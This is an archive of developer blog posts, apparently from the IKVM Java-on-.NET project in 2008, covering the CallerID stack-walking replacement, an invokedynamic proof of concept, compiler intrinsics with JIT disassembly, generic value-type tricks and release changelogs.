In part 1 we saw the Java source for the ForName benchmark, now let's look at some C# code that is roughly equivalent to what IKVM generates from the Java version:

class ForName  {
  private static readonly __CallerID __callerID = new __CallerID();
  private sealed class __CallerID : ikvm.@internal.CallerID { }

  public static void Main(string[] args) {
    java.lang.Class.forName("java.lang.Object", __callerID);
    long start = java.lang.System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      java.lang.Class.forName("java.lang.Object", __callerID);
    long end = java.lang.System.currentTimeMillis();
    java.lang.System.@out.println(end - start);
  }
}

This shows that the compiler passes an extra parameter to the Class.forName() method that carries the identity of the caller's class.

The source for ikvm.internal.CallerID is available in cvs. The class is public and has a protected constructor but has no public methods (they are all internal to the IKVM.OpenJDK.ClassLibrary assembly). The intended usage is shown above, you should extend it with a private class that is nested inside the class whose identity you want to pass to a CallerID requiring API.

The example also demonstrates how you can call these methods from C# if you want to get the best performance, however I recommend using the standard versions of the APIs unless the performance difference is critical to your application.

Above we looked at the caller, now let's look at the callee. Here's the Java source for the Class.forName() method:

@ikvm.internal.HasCallerID
public static Class forName(String className)
            throws ClassNotFoundException {
  return forName0(className, true, ClassLoader.getCallerClassLoader());
}

I added the HasCallerID annotation to signal to ikvmc that it should add the implicit CallerID parameter and ClassLoader.getCallerClassLoader() has been turned into an intrinsic that calls getCallerClassLoader() on the passed in CallerID object instead. Here's the C# equivalent that ikvmc produces for the Class.forName() method:

public static java.lang.Class forName(string className, ikvm.@internal.CallerID callerID) {
  return java.lang.Class.forName0(className, truee, callerID.getCallerClassLoader());
}

[IKVM.Attributes.HideFromJava]
public static java.lang.Class forName(string className) {
  System.Diagnostics.StackFrame caller = new System.Diagnostics.StackFrame(1, false);
  return forName(className, ikvm.@internal.CallerID.create(caller));
}

In part 3 we'll look at the design decisions behind this implementation.

6/1/2008 10:15:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, May 31, 2008

Introducing CallerID Part 1

In the Java API there are a number of APIs that rely on being able to walk up the call stack to determine certain properties of the immediate caller of the API. The most common scenario is determining the caller's class or class loader. This information is used to implement security checks or to use the right class loader.

Up until now IKVM used the System.Diagnostics.StackFrame .NET API to walk the stack. There are however two major issues with this API. The first issue is that it is unreliable and IKVM jumps through various hoops to make sure that the CLR doesn't inline methods it shouldn't inline or use tail call optimizations it shouldn't use. The second issue is that it is relatively slow.

I finally got around to implementing an alternative scheme that eliminates the usage of System.Diagnostics.StackFrame in most cases. In part 2 I'll describe the implementation, but for now let's just look at some performance numbers.

I've cooked up two microbenchmarks that clearly demonstrate the difference between the current approach and the new approach.

Class.forName()

In this microbenchmark we look at the Class.forName() API. It walks the call stack to determine the class loader of the immediate caller, because that is the class loader that it needs to use to load the class.

class ForName {
  public static void main(String[] args) throws Exception {
    Class.forName("java.lang.Object");
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      Class.forName("java.lang.Object");
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

ForName results:

  x86 x64
IKVM 0.37.3063             4350     3959
IKVM 0.37.3073 45 49
JDK 1.6 138 97


(The difference between JDK 1.6 x86 and x64 is mostly due to x86 defaulting to HotSpot Client and x64 to HotSpot Server.)

Method.invoke()

The Method.invoke() API uses the caller class to perform the required access checks when you are calling a non-public method or a method in non-public class.

class Invoke {
  public static void main(String[] args) throws Exception {
    java.lang.reflect.Method m = Invoke.class.getDeclaredMethod("foo");
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      m.invoke(null);
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }

  private static void foo() { }
}

Invoke results:

  x86 x64
IKVM 0.37.3063             6083     5572
IKVM 0.37.3073 14 16
JDK 1.6 82 39

To be continued in part 2...

5/31/2008 5:20:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, May 23, 2008

Invokedynamic Proof of Concept Part 2

Rémi Forax inspired me to make my invokedynamic proof of concept a little more real, so I implemented it (still only as a proof of concept, not production quality code) in an IKVM 0.37 fork.

I used the following Java test case:

interface java_dyn_Dynamic
{
  void printSubstring(int startIndex, int length);
  int length();
}

class InvokeDynamic
{
  static
  {
    try
    {
      java.lang.reflect.Method m = InvokeDynamic.class.getDeclaredMethod("bootstrapInvokeDynamic",
                                     java.dyn.CallSite.class, Object.class, Object[].class);
      java.dyn.MethodHandle mh = java.dyn.MethodHandles.unreflect(m);
      java.dyn.Linkage.registerBootstrapMethod(InvokeDynamic.class, mh);
    }
    catch (Exception x)
    {
      x.printStackTrace();
    }
  }

  public static void main(String[] args)
  {
    java_dyn_Dynamic obj = (java_dyn_Dynamic)(Object)"invokedynamic";
    for (int i = 0; i < 3; i++)
    {
      System.out.println("len = " + obj.length());
      obj.printSubstring(3, 2);
    }
  }

  public static void printSubstring(String str, int startIndex, int length)
  {
    System.out.println(str.substring(startIndex, startIndex + length));
  }

  private static Object bootstrapInvokeDynamic(java.dyn.CallSite cs, Object receiver, Object[] args)
    throws Exception
  {
    System.out.println("bootstrapInvokeDynamic");
    if (cs.getStaticContext().getName().equals("length"))
    {
      java.lang.reflect.Method m = String.class.getMethod("length");
      cs.setTarget(java.dyn.MethodHandles.unreflect(m));
      return m.invoke(receiver);
    }
    else
    {
      Class c = cs.getStaticContext().getCallerClass();
      java.lang.reflect.Method m = c.getMethod("printSubstring", String.class, int.class, int.class);
      cs.setTarget(java.dyn.MethodHandles.unreflect(m));
      return m.invoke(null, receiver, args[0], args[1]);
    }
  }
}

After compiling this with javac I used a hex editor to patch the file (changed java_dyn_Dynamic to java/dyn/Dynamic and C0 00 03 to 00 00 00 to remove the checkcast instruction).

Current limitations:

  • java.dyn.MethodType is not implemented.
  • MethodHandles can only be created on methods with a couple of arguments and from the primitive types only int can be used as an argument or return type.
  • Not all of the IKVM specific corner cases are supported (e.g. calling .NET methods or methods on remapped types).
  • The CallSite and MethodHandle implementation objects do not have a proper class (i.e. CallSite.getClass() doesn't work).
  • Only a small subset of the MethodHandle functionality is implemented (e.g. no bound or Java method handles).

None of these limitations pose any interesting challenges, so implementing them does not add much value to this proof of concept.

Files:

5/23/2008 3:17:04 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 21, 2008

Invokedynamic Proof of Concept

A few days ago the JSR 292 expert group released an early draft review for the invokedynamic instruction.

To investigate how this would work out for IKVM, I cooked up a proof of concept in C#.

class InvokeDynamicPoC
{
  private static InvokeDynamic<object, CallSite, object, object[]> __bootstrapMethod =
    bootstrapInvokeDynamic;
  private static CallSiteImpl<InvokeDynamicVoid<string, int, int>> __site1 =
    new CallSiteImpl<InvokeDynamicVoid<string, int, int>>(
      new StaticContextImpl(typeof(InvokeDynamicPoC), "printSubstring"));

  private static void Main()
  {
    for (int j = 0; j < 2; j++)
    {
      int start = Environment.TickCount;
      for (int i = 0; i < 10/*0000000/**/; i++)
      {
        string obj = "invokedynamic";
        int arg1 = 3;
        int arg2 = 2;
        MethodHandleImpl<InvokeDynamicVoid<string, int, int>> mh = __site1.mh;
        if (mh == null)
        {
          __bootstrapMethod(__site1, obj, new object[] { java.lang.Integer.valueOf(arg1),
                                                         java.lang.Integer.valueOf(arg2) });
        }
        else
        {
          mh.d(obj, arg1, arg2);
        }
      }
      int end = Environment.TickCount;
      Console.WriteLine(end - start);
    }
  }

  private static void printSubstring(string s, int startIndex, int length)
  {
    Console.WriteLine(s.Substring(startIndex, length));
  }

  private static object bootstrapInvokeDynamic(CallSite cs, object receiver, object[] arguments)
  {
    java.lang.Class c = typeof(InvokeDynamicPoC);
    java.lang.reflect.Method m = c.getDeclaredMethod(cs.getStaticContext().getName(),
                                                     typeof(string), typeof(int), typeof(int));
    MethodHandle mh = MethodHandles.unreflect(m);
    cs.setTarget(mh);
    return m.invoke(null, receiver, arguments[0], arguments[1]);
  }
}

The full (compilable and working) source is available here.

5/21/2008 9:56:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Development Snapshot

More .NET 2.0 work and bug fixing, but the biggest change is that class library initialization has been refactored (building on the property support added in the previous snaphot which allows java.lang.System to lazily initialize the I/O streams). Instead of it being an all or nothing approach (i.e. initialize all core classes at once, like in Java) the initialization dependencies have been mostly removed and each part can now be initialized on demand. This makes the code easier to follow, startup more efficient and removed the need for some ugly hacks to make initialization work correctly.

One thing isn't yet working, if you specify a Java security manager in your app.config it isn't guaranteed that the security manager will be installed immediately (currently it's only installed the first time ClassLoader.getSystemClassLoader() is called.) I'm not sure if it is worth fixing this, because using the Java security manager in this way doesn't seem to make much sense (i.e. if you are running your application as a .NET application, why would you use the Java security manager to restrict what it can do, it won't be able do a good job anyway, since it doesn't know about your non-Java .NET code that directly calls .NET Framework APIs.)

Changes since previous development snapshot:

  • Call suppressFillInStackTrace before instantiating a remapped exception in the remap implementation method.
  • Added assembly location to verbose class cast exception if the assembly fullnames matches but the locations don't.
  • Create the generic delegate type before compiling the rest of the core class library, to allow the core class library to use delegates.
  • Fixed name mangling bug. Dots in nested type names should be mangled, because they shouldn't affect the package name.
  • Include exception message in ClassCastException.
  • Added hack to support instantiating fake enums for types loaded in ReflectionOnly (to support custom attribute annotations that have enum values in ikvmstub).
  • Added -reference option to ikvmstub to load referenced assemblies from a specific location.
  • Refactored class library initialization.
  • Implemented Runtime.availableProcessor() using .NET 2.0 API.
  • Moved most java.lang.System "native" methods to the Java side.
  • Moved java.lang.Thread "native" methods to Java.
  • Implemented support for specifying Thread stack size.
  • Fix deserialization of double arrays.
  • Added more efficient float/double to/from int/long bits converters.
  • Made Double.doubleToRawLongBits/longBitsToDouble and Float.floatToRawIntBits/intBitsToFloat intrinsics.
  • Generalized the support infrastructure for adding compiler intrinsics.
  • Fixed Graphics2D.rotate() to convert rotation angle from radians (Java) to degrees (.NET).
  • Fixed libikvm-native.so build to include reference to gmodule-2.0 library.
  • Fixed build issue on Mono (gmcs implicitly references System.Core.dll and that caused a conflict with our locally defined ExtensionAttribute).
  • Fixed ikvmc not to open the key file for write access.
  • Added workarounds for mcs compiler bug (related to the mutual dependencies of IKVM assemblies).
  • Restructured code to remove (mcs) compiler warnings.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3063.zip

5/21/2008 7:16:08 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 09, 2008

Compiler Intrinsics

Most compilers have some (or in some cases many) intrinsic functions. HotSpot has a number of them (see here, search for "intrinsics known to the runtime") as does the CLR JIT. IKVM has had a couple as well (System.arraycopy(), AtomicReferenceFieldUpdater.newUpdater(), String.toCharArray()). These were sort of hacked into the compiler and I finally decided to clean that up a little and add more scalable support for adding intrinsincs. The trigger to do this was that I added four more intrinsics: Float.floatToRawIntBits(), Float.intBitsToFloat(), Double.doubleToRawLongBits() and Double.longBitsToDouble().

Benchmark

Here's a micro benchmark:

public class test {
  public static void main(String[] args) {
    long sum = 1;
    long start = System.currentTimeMillis();
    for (int i = 0; i < 10000000; i++) {
      sum += Double.doubleToRawLongBits(sum);
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
    System.out.println(sum);
  }
}

Here are the results:

         x86 (aligned)     x86 (unaligned)                      x64
JDK 1.6 HotSpot Server VM    287   109
JDK 1.6 HotSpot Client VM 335    
IKVM 0.36 .NET 1.1 479 565  
IKVM 0.36 .NET 2.0 570 704 124
IKVM 0.37 338 468 101


Since the x86 .NET results are highly sensitive as to whether the double on the stack happens to be aligned or not, I included both results.

Implementation

Here's the MSIL that IKVM generates for the loop:

IL_000b:   ldloc.2
IL_000c:   ldc.i4    0x989680
IL_0011:   bge       IL_0028
IL_0016:   ldloc.0
IL_0017:   ldloc.0
IL_0018:   conv.r8
IL_0019:   ldloca.s  V_3
IL_001b:   call      int64 [IKVM.Runtime]IKVM.Runtime.DoubleConverter::ToLong(float64,
                     valuetype [IKVM.Runtime]IKVM.Runtime.DoubleConverter&)
IL_0020:   add
IL_0021:   stloc.0
IL_0022:   ldloc.2
IL_0023:   ldc.i4.1
IL_0024:   add
IL_0025:   stloc.2
IL_0026:   br.s      IL_000b

The conversion isn't actually inlined, but instead a local variable of value type IKVM.Runtime.DoubleConverter is added to the method and a static method on that type that takes the value to be converted and a reference to the local variable is called. Here's the code for IKVM.Runtime.DoubleConverter:

[StructLayout(LayoutKind.Explicit)]
public struct DoubleConverter
{
  [FieldOffset(0)]
  private double d;
  [FieldOffset(0)]
  private long l;

  public static long ToLong(double value, ref DoubleConverter converter)
  {
    converter.d = value;
    return converter.l;
  }

  public static double ToDouble(long value, ref DoubleConverter converter)
  {
    converter.l = value;
    return converter.d;
  }
}

It uses the .NET feature that allows you to explicitly control the layout of a struct  to overlay the double and long fields. Note that this construct is fully verifiable.

For comparison, the standard System.BitConverter.DoubleToInt64Bits() uses unsafe code and looks something like this:

public static unsafe long DoubleToInt64Bits(double value)
{
  return *((long*)&value);
}

For some reason (probably because it isn't verifiable) the JIT doesn't like this so much and doesn't inline this method.

JIT Code

Here's the x86 code generated by the .NET 2.0 SP1 JIT:

049E15CE  cmp    ebx,989680h
049E15D4  jge    049E1600
049E15D6  lea    ecx,[esp+8]
049E15DA  mov    dword ptr [esp+10h],esi
049E15DE  mov    dword ptr [esp+14h],edi
049E15E2  fild   qword ptr [esp+10h]
049E15E6  fstp   qword ptr [esp+10h]
049E15EA  fld    qword ptr [esp+10h]
049E15EE  fstp   qword ptr [ecx]
049E15F0  mov    eax,dword ptr [ecx]
049E15F2  mov    edx,dword ptr [ecx+4]
049E15F5  add    eax,esi
049E15F7  adc    edx,edi
049E15F9  mov    esi,eax
049E15FB  mov    edi,edx
049E15FD  inc    ebx
049E15FE  jmp    049E15CE

Here's the x64 code generated by the .NET 2.0 SP1 JIT:

00000642805B8A90  cmp        ecx,989680h
00000642805B8A96  jge        00000642805B8AB1
00000642805B8A98  cvtsi2sd   xmm0,rdi
00000642805B8A9D  lea        rax,[rsp+20h]
00000642805B8AA2  movsd      mmword ptr [rax],xmm0
00000642805B8AA6  mov        rax,qword ptr [rax]
00000642805B8AA9  add        rdi,rax
00000642805B8AAC  add        ecx,1
00000642805B8AAF  jmp        00000642805B8A90

In both cases the construct is inlined properly. It is also obvious why the x64 code is so much faster, it uses SSE (as we've seen before) and only uses one memory store/load combination.

HotSpot

For completeness, here's the code generated by HotSpot x64:

0000000002772EA0  cvtsi2sd   xmm0,r11
0000000002772EA5  add        ebp,10h
0000000002772EA8  movsd      mmword ptr [rsp+20h],xmm0
0000000002772EAE  mov        r10,qword ptr [rsp+20h]
0000000002772EB3  add        r10,r11
0000000002772EB6  cvtsi2sd   xmm0,r10
0000000002772EBB  movsd      mmword ptr [rsp+20h],xmm0
0000000002772EC1  mov        r11,qword ptr [rsp+20h]
0000000002772EC6  add        r11,r10
0000000002772EC9  cvtsi2sd   xmm0,r11
0000000002772ECE  movsd      mmword ptr [rsp+20h],xmm0
0000000002772ED4  mov        r10,qword ptr [rsp+20h]
0000000002772ED9  add        r10,r11
[...]
0000000002772FC0  cvtsi2sd   xmm0,r10
0000000002772FC5  movsd      mmword ptr [rsp+20h],xmm0
0000000002772FCB  mov        r11,qword ptr [rsp+20h]
0000000002772FD0  add        r11,r10
0000000002772FD3  cmp        ebp,r9d
0000000002772FD6  jl         0000000002772EA0

It actually unrolled the loop 16 times (which appears not be helping in the case), but otherwise the code generated is pretty similar to what we saw on the CLR. Of course, in HotSpot Double.doubleToRawIntBits() is also an intrinsic because in Java the only alternative would be to write it in native code and the JNI transition would add significant overhead in this case.

5/9/2008 11:27:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, May 05, 2008

IKVM 0.36 Update 2 Release Candidate 1

A couple of fixes.

Changes:

  • Remapped exceptions with explicit remapping code now call suppressFillInStackTrace (to make sure the proper stack trace is captured).
  • Fixed memory mapped file bug (mapping at a non-zero file offset would fail).
  • Fixed .NET type name mangling for nested types that contain a dot in their name (which the C# 3.0 compiler generates for some private helper types).
  • Fixed java.io.File.getCanonicalPath() to swallow System.NotSupportedException (thrown when the path contains a colon, other than the one following the drive letter).
  • Fixed bug in deserialization of double arrays.

Binaries available here: ikvmbin-0.36.0.12.zip
Sources (+ binaries):ikvm-0.36.0.12.zip

5/5/2008 6:23:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, April 17, 2008

Invalid Casting Goodness

Yesterday Miguel blogged about a nice new feature in Mono. I added the IKVM_VERBOSE_CAST environment variable to IKVM to do something similar a while ago.

public class test {
  public static void main(String[] args) {
    System.out.println((String)(Object)args);
  }
}

C:\j>\ikvm-0.36.0.11\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException
        at test.main(test.java)

C:\j>set IKVM_VERBOSE_CAST=1

C:\j>\ikvm-0.36.0.11\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException: Object of type "System.String[], mscorlib, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" cannot be cast to "System.String, mscorlib, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        at test.main(test.java)

Note that the assembly qualified type names are displayed, as I believe this feature is particularly useful when trying to debug issues that arise from having loaded multiple assemblies that contain the "same" types.

While writing this I discovered that both JDK 1.6 and .NET 2.0 always generate descriptive exception messages for invalid casts:

C:\j>\jdk1.6\bin\java test
Exception in thread "main" java.lang.ClassCastException: [Ljava.lang.String; can not be cast to java.lang.String
        at test.main(test.java:5)

C:\j>\ikvm\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException: Unable to cast object of type 'System.String[]' to type 'System.String'.
        at test.main(test.java:5)

This last result is my local ikvm development version running on .NET 2.0 with a patch to enable taking the exception message from the .NET InvalidCastException, which I didn't previously do because on .NET 1.1 this message didn't contain any useful information.

4/17/2008 8:51:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, April 14, 2008

New Development Snapshot

It's been quite a while since the last development snapshot. I'm still working on integrating .NET 2.0 features, but I'm also doing random fixes/improvements here and there as I come across them. The biggest visible change in this snapshot is the support for defining .NET properties as Java fields. The main motivation was that I wanted to handle the System.in/out/err fields more cleanly. They are now implemented like this:

@ikvm.lang.Property(get="get_in")
public final static InputStream in;

static { in = null; }

private static InputStream get_in()
{
    return StdIO.in;
}

This defines a .NET property called "in" and associates the getter method of the property with the get_in() method. Note that we're only specifying the getter here in the Property annotation because the field is final, but you can also specify a setter method. The static initializer that initializes the property to null is necessary to keep javac happy, but it doesn't actually do anything. The ikvm bytecode compiler will ignore any assignments to read-only properties. Another thing to note is that the get_in() will automatically be made public (because the field is public), but from Java it will still appear private.

Changes since previous development snapshot:

  • Fixed regression in return value annotation value.
  • Forked Class, Constructor and Field.
  • Made class annotation handling lazy and bypass encode/decode.
  • Fixed ReflectionOnly referenced assembly loading order (ikvmstub).
  • Initialize class library in JVM_CreateJavaVM.
  • Reintroduced guard against recursive FinishCore invocations.
  • Implemented support for annotations on .NET fields/methods/parameters.
  • Hide ikvmc generated GetEnumerator() method from Java.
  • Simplified annotation handling.
  • Added support to Class.forName() for assembly qualified Java type names.
  • Replaced notion of DynamicOnly types with Fake types. Fake types are implemented as generic type instances and can have DynamicOnly methods.
  • Changed System.nanoTime() implementation to use Stopwatch.GetTimestamp().
  • Ripped out annotation/constant pool support that is no longer needed.
  • Added support for defining unloadable (i.e. missing) types to use as custom modifiers in signatures.
  • Use custom modifiers to make sure constructor signature is unique (if necessary).
  • Restructured code to remove compiler warnings.
  • Updated FlushFileBuffers p/invoke to use SafeFileHandle.
  • Forked OpenJDK sources that are going to be modified to refactor the library initialization.
  • Made __Fields nested class abstract (it was already sealed) and removed the constructor.
  • Restored the special case for interface .cctor methods to fix bug #1930303
  • Added ikvm/internal/MonoUtils.java. A new helper class to contain Mono specific methods.
  • Added Mac OS X platform detection.
  • Fixed System.mapLibraryName() to use platform detection instead of os.name property.
  • Improved java.library.path for Windows, Linux and Mac OS X.
  • Added support for setting os.name and os.ver on Mac OS X.
  • Try to guess os.arch based on IntPtr.Size.
  • Set sun.nio.MaxDirectMemorySize to -1 to allow "unlimited" direct byte buffers.
  • Fixed memory mapped file bug that caused mapping at non-zero file position to fail.
  • Close mapping handle using the Close() method on SafeFileHanlde instead of p/invoking the Win32 API directly.
  • Added support for filenames/paths with colons in them to Win32FileSystem.CanonicalizePath().
  • Added support for turning Java fields into .NET properties with an annotation.
  • Implemented System.in/out/err as .NET properties (explicitly).

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3026.zip

4/14/2008 7:40:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 07, 2008

IKVM 0.36 Update 1 Released

When I released IKVM 0.36 I said I intended to support 0.36 for a longer period since it is the last version that runs on .NET 1.1. Today I've released the first update release of 0.36 to SourceForge. For those who have been tracking the release candidates, this release is identical to release candidate 5.

Changes since IKVM 0.36.0.5:

  • Changed version to IKVM 0.36.0.11
  • Fix for reflection bug on .NET generic nested types that caused this.
  • Fix for bug #1865922.
  • java.awt.image.Raster fix.
  • Fix bug in DynamicMethod based serialization for fields typed as ghost interfaces.
  • Fixed ikvmc to support referencing assemblies that contain .NET type named java.lang.Object.
  • Improved error handling for ikvmc -reference option.
  • Optimized codegen for lcmp, fcmp, dcmp and shift opcodes.
  • Added support to Class.forName() for loading Java types with assembly qualified type names.
  • Implemented field/method/parameter annotation support for .NET types.
  • Added workaround for .NET 1.1 bug in Directory.CreateDirectory(). (bug #1902154)
  • Added -removeassertions optimization option to ikvmc.
  • Added -removeassertions to IKVM.OpenJDK.ClassLibrary.dll build.
  • Fixed JVM_CreateJavaVM to initialize the class library.
  • Fixed ikvmc to include zero length resource files.
  • Implemented SocketOptions.IP_MULTICAST_IF and SocketOptions.IP_MULTICAST_IF2.
  • Fixed assembly class loader to ignore codebase for dynamic assemblies (previously it would throw an exception).
  • Fixed exception stack trace code to return the .NET name of a type when a method in a primitive type is on the stack.
  • Fixed JNI reflection to filter out HideFromReflection members.
  • Fixed java.net.NetworkInterface to work on pre-Win2K3 systems.
  • Fixed java.lang.Thread to set context class loader for threads started from .NET.

If you want to build from source, you need ikvm-0.36.11.zip, classpath-0.95-stripped.zip, openjdk-b13-stripped.zip and the java.awt.image.Raster fix.

4/7/2008 6:15:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, March 24, 2008

Generic Algorithms Revisited (Again)

Back in 2003 I described how you could theoretically use value types to efficiently inject behavior into a generic type. Recently I was thinking about this again and decided to look at the code generated by the JIT.

Let's look at a very simple case:

interface IOperation
{
  void DoIt();
}

struct Dummy : IOperation
{
  public void DoIt() { }
}

public class Program
{
  static void Gen<T>() where T : IOperation
  {
    default(T).DoIt();
  }

  static void Main()
  {
    for (; ; )
    {
      Gen<Dummy>();
    }
  }
}

The .NET 2.0 SP1 x86 JIT generates the following code for the Gen<Dummy>() method:

sub    esp,8
xor    eax,eax
mov    dword ptr [esp],eax
mov    dword ptr [esp+4],eax
mov    byte ptr [esp],0
movsx  eax,byte ptr [esp]
mov    byte ptr [esp+4],al
add    esp,8
ret

The good news is that the Dummy.DoIt() method has been inlined. The bad news is that every single instruction apart from the ret is unnecessary.

In order to understand what is going on, we need to look at the IL generated by the C# compiler for the Gen<T>() method and we also need to know that the CLR treats zero length types as having a length of one byte.

Here's the IL for Gen<T>():

.maxstack 1
.locals init ([0] !!T CS$0$0000, [1] !!T CS$0$0001)
ldloca.s CS$0$0000
initobj !!T
ldloc.0
stloc.1
ldloca.s CS$0$0001
constrained. !!T
callvirt instance void IOperation::DoIt()
ret

For some reason the default(T).Doit() construct results in two local variables being created. Now the JIT code above is starting to make a little sense (although it still isn't an excuse why it isn't optimized away):

sub    esp,8
xor    eax,eax
mov    dword ptr [esp],eax
mov    dword ptr [esp+4],eax
.locals init ([0] !!T CS$0$0000, [1] !!T CS$0$0001)
Reserve and initialize space on the stack for the two local variables. Note that they are both unnecessarily padded, so we need 8 bytes intsead of 4.
 
mov    byte ptr [esp],0 ldloca.s CS$0$0000
initobj !!T
Initialize the first local variable.
 
movsx  eax,byte ptr [esp] ldloc.0
Read the value of the first local variable.
 
mov    byte ptr [esp+4],al stloc.1
Store the value we just read in the second local variable.
 
  ldloca.s CS$0$0001
constrained. !!T
callvirt instance void IOperation::DoIt()
Inlined (empty) DoIt method.
 
add    esp,8
ret
ret
Unreserve stack space and return to caller.


We can improve the code a little by changing the Gen<T>() method body as follows:

T t = default(T);
t.DoIt();

Now the C# compiler won't generate the extra local variable and the x86 code looks a little better:

push   eax
xor    eax,eax
mov    dword ptr [esp],eax
mov    byte ptr [esp],0
pop    ecx
ret

For completeness here's the x64 code for the original Gen<Dummy>() method:

sub    rsp,38h
xor    eax,eax
mov    byte ptr [rsp+21h],al
xor    eax,eax
mov    byte ptr [rsp+20h],al
xor    eax,eax
mov    byte ptr [rsp+21h],al
movzx  eax,byte ptr [rsp+21h]
mov    byte ptr [rsp+20h],al
lea    rcx,[rsp+20h]
mov    rax,6428001C078h
call   rax
nop
add    rsp,38h
rep ret

This is even worse than the x86 code, because the Dummy.DoIt() method isn't even inlined.

NGEN

The standard excuse of why a JIT doesn't do some "obvious" optimizations is of course that it runs while your program is supposed to be running, so it can't take a lot of time to analyze and optimize the code. This is true to some extent (and JIT performance is one reason why running your managed code on x64 takes so much longer to start up), but it doesn't apply to NGEN and from what I understand today's NGEN doesn't do any more optimizations than the JIT compiler. I tested this specific example (for x64) and the NGEN code is indeed identical to the JIT code. This is unfortunate and hopefully, someday we'll see more sophisticated optimizations specific to NGEN as well.

Conclusion

This trick of using value types in generic algorithms appears to work reasonably well on x86, but there is still room for improvement in the JIT. Rumour has it that in the next .NET 2.0 service pack (due out this summer?) there will be an update of the JIT that finally supports inlining of methods that have value type arguments, let's hope that this JIT update will also include other optimizations as well. Let's also hope that this update includes a better version of the x64 JIT, because as this example shows yet again the x64 JIT still considerably lags behind the x86 JIT.

P.S. Here's the Mono 1.9 x86 JIT code for the original Gen<Dummy>():

push   ebp
mov    ebp,esp
sub    esp,8
mov    byte ptr [ebp-8],0
mov    byte ptr [ebp-4],0
mov    byte ptr [ebp-8],0
movsx  eax,byte ptr [ebp-8]
mov    byte ptr [ebp-4],al
lea    eax,[ebp-4]
push   eax
call   02A20278
pop    ecx
leave
ret

3/24/2008 9:23:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, March 14, 2008

IKVM 0.36 Update 1 Release Candidate 5

More fixes. Since I used version 0.36.0.10 for some interim fixes, this rc is 0.36.0.11.

Changes:

  • Changed version to 0.36.0.11.
  • Fixed ikvmc to include zero length resource files.
  • Implemented SocketOptions.IP_MULTICAST_IF and SocketOptions.IP_MULTICAST_IF2.
  • Fixed assembly class loader to ignore codebase for dynamic assemblies (previously it would throw an exception).
  • Fixed exception stack trace code to return the .NET name of a type when a method in a primitive type is on the stack.
  • Fixed JNI reflection to filter out HideFromReflection members.
  • Fixed java.net.NetworkInterface to work on pre-Win2K3 systems.
  • Fixed java.lang.Thread to set context class loader for threads started from .NET.
  • Added workaround for .NET 1.1 JIT bug exposed by bytecode optimizations introduced in 0.36.0.9.

Binaries available here: ikvmbin-0.36.0.11.zip
Sources (+ binaries):ikvm-0.36.0.11.zip

3/14/2008 9:05:21 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, February 28, 2008

IKVM 0.36 Update 1 Release Candidate 4

More fixes and a couple of optimizations. The bytecode optimizations and the removal of assert statements resulted in IKVM.OpenJDK.ClassLibrary.dll actually becoming smaller for once:

Version IKVM.OpenJDK.ClassLibrary.dll size
0.36.0.5         26,808,320
0.36.0.9 26,697,728


The size difference is about evenly split between the bytecode optimizations and the assert statement removal.

The ikvmc option to remove assert statements is a bit of a cheat, but it turns out that in at least one case (java.util.BitSet) the assertions significantly affect performance (even when they are disabled) on .NET. This is the result of the CLR JIT not optimizing them away whereas HotSpot completely removes them when assertions aren't enabled. Given that this was affecting a real world scenario for an ikvm user I decided to add this option and compile the core class library with it. The option will only remove assert statements that it recognizes (i.e. the example code pattern mentioned in appendix IV of the assert spec).

Changes:

  • Changed version to 0.36.0.9.
  • Optimized codegen for lcmp, fcmp<x>, dcmp<x> and shift opcodes.
  • Added support to Class.forName() for loading Java types with assembly qualified type names.
  • Implemented field/method/parameter annotation support for .NET types.
  • Added workaround for .NET 1.1 bug in Directory.CreateDirectory(). (bug #1902154)
  • Added -removeassertions optimization option to ikvmc.
  • Added -removeassertions to IKVM.OpenJDK.ClassLibrary.dll build.
  • Fixed JVM_CreateJavaVM to initialize the class library.

Binaries available here: ikvmbin-0.36.0.9.zip
Sources (+ binaries):ikvm-0.36.0.9.zip

2/28/2008 8:01:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Tuesday, February 19, 2008

New Development Snapshot

More changes triggered by the changeover to .NET 2.0.I also did some C# 3.0 work which means that you can now do this:

using System;
using System.Collections;
using ikvm.extensions;
using java.util;

public class Program
{
  static void Main(string[] args)
  {
    try
    {
      var map = new HashMap {
        { "foo", args.getClass() },
        { "bar", 2.getClass() }
      };

      foreach (DictionaryEntry de in map)
        Console.WriteLine("{0} = {1}", de.Key, de.Value);
    }
    catch (System.Exception x)
    {
      x.printStackTrace();
    }
  }
}

